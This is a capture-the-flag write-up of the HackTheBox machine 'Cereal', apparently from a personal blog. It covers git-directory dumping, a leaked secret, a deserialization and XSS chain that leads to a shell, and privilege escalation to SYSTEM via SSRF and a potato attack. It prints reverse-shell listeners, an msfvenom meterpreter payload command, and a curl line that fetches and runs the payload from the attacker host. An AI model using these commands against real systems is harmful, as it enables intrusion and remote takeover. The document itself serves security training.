Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 2.3kReading time ≈8 mins.
introduce
OS: Windows Difficulty: Hard Points: 40 Release: 21 Nov 2020 IP: 10.10.10.217
information gathering
first use nmap as usaul
1 2 3 4 5 6 7
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.217 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Microsoft IIS httpd 10.0 443/tcp open ssl/http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
vhosts from https certificate (add to /etc/hosts):
1
cereal.htb source.cereal.htb
extract exposed git directory in source.cereal.htb/.git:
┌──(root💀kali)-[~/GitTools-master/Dumper] └─# ip=http://source.cereal.htb/.git/ ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# mkdir /tmp/git ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# mkdir /tmp/src ┌──(root💀kali)-[~/GitTools-master/Dumper] └─# ./gitdumper.sh $ip /tmp/git ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
[*] Destination folder does not exist [+] Creating /tmp/git/.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [+] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [-] Downloaded: packed-refs [+] Downloaded: refs/heads/master [-] Downloaded: refs/remotes/origin/HEAD [-] Downloaded: refs/stash [+] Downloaded: logs/HEAD [+] Downloaded: logs/refs/heads/master [-] Downloaded: logs/refs/remotes/origin/HEAD [-] Downloaded: info/refs [+] Downloaded: info/exclude [-] Downloaded: /refs/wip/index/refs/heads/master [-] Downloaded: /refs/wip/wtree/refs/heads/master [+] Downloaded: objects/34/b68232714f841a274050591ff5595dcf7f85da [-] Downloaded: objects/00/00000000000000000000000000000000000000 [+] Downloaded: objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5 [+] Downloaded: objects/7b/d9533a2e01ec11dfa928bd491fe516477ed291 [+] Downloaded: objects/3a/23ffe921530036a4e0c355e6c8d1d4029cb728 ... ┌──(root💀kali)-[~/GitTools-master/Extractor] └─# ./extractor.sh /tmp/git /tmp/src ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [+] Found commit: 3a23ffe921530036a4e0c355e6c8d1d4029cb728 [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/.gitignore [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ApplicationOptions.cs [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/Cereal.csproj [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/CerealContext.cs [+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/.gitignore [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/README.md [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package-lock.json [+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package.json [+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/public ... ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# mv /tmp/src ./src ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# ls src ┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# tree . └── src ├── 0-3a23ffe921530036a4e0c355e6c8d1d4029cb728 │ ├── ApplicationOptions.cs │ ├── appsettings.Development.json │ ├── appsettings.json │ ├── CerealContext.cs │ ├── Cereal.csproj │ ├── ClientApp │ │ ├── package.json │ │ ├── package-lock.json │ │ ├── public │ │ │ ├── favicon.ico │ │ │ ├── FuturaStd-Bold.woff ...
exposed secret in the file “2-8f2a1a88f15b9109e1f63e4e4551727bfb38eee5/Services/UserService.cs”:
1
secretlhfIH&FY*#oysuflkhskjfhefesf
vulnerability in the file “Controllers\RequestsController.cs”: deserialization (can’t use ysoserial because of custom protection, but can use deserialization of the DownloadManager object -> upload aspx shell)
vulnerability in the file “ClientApp\src\AdminPage\AdminPage.jsx”:
xss (https://snyk.io/vuln/npm:react-marked-markdown:20180517) -> with this xss we can do server-side requests and trigger the deserialization
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.217. Ncat: Connection from 10.10.10.217:49973. Spawn Shell... Microsoft Windows [Version 10.0.17763.1577] (c) 2018 Microsoft Corporation. All rights reserved.
User Name SID ============ ============================================== cereal\sonny S-1-5-21-1433318354-2681105707-1558593885-1000
GROUP INFORMATION -----------------
Group Name Type SID Attributes ==================================== ================ =============================================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\source.cereal.htb Well-known group S-1-5-82-1091461672-2110406625-1707532520-1965434010-2231625233 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
-> SeImpersonatePrivilege enabled
create exe for metasploit:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9003 -b "\x00\x0a" -a x86 --platform windows -f exe -o m.exe
run metasploit:
1 2 3 4 5 6
msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.10.14.6 set LPORT 9003 run
download m.exe to target and execute it:
1 2 3 4
mkdir C:\temp cd C:\temp curl http://10.10.14.6/m.exe -o C:\temp\m.exe .\m.exe
analyze the local port 8080 (on our host on 8081), you find, that it uses graphql, after enumerating graphql, you find a callable function, which allows ssrf (updatePlant). combine this ssrf with SeImpersonatePrivilege -> juicy potato with http -> https://github.com/micahvandeusen/GenericPotato
┌──(root💀kali)-[~/hackthebox/machine/cereal] └─# nc -lvp 9005 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9005 Ncat: Listening on 0.0.0.0:9005 Ncat: Connection from 10.10.10.217. Ncat: Connection from 10.10.10.217:50126. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami whoami nt authority\system PS C:\Windows\system32> cd \users\administrator\desktop cd \users\administrator\desktop PS C:\users\administrator\desktop> dir dir
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/15/2021 12:17 AM 34 root.txt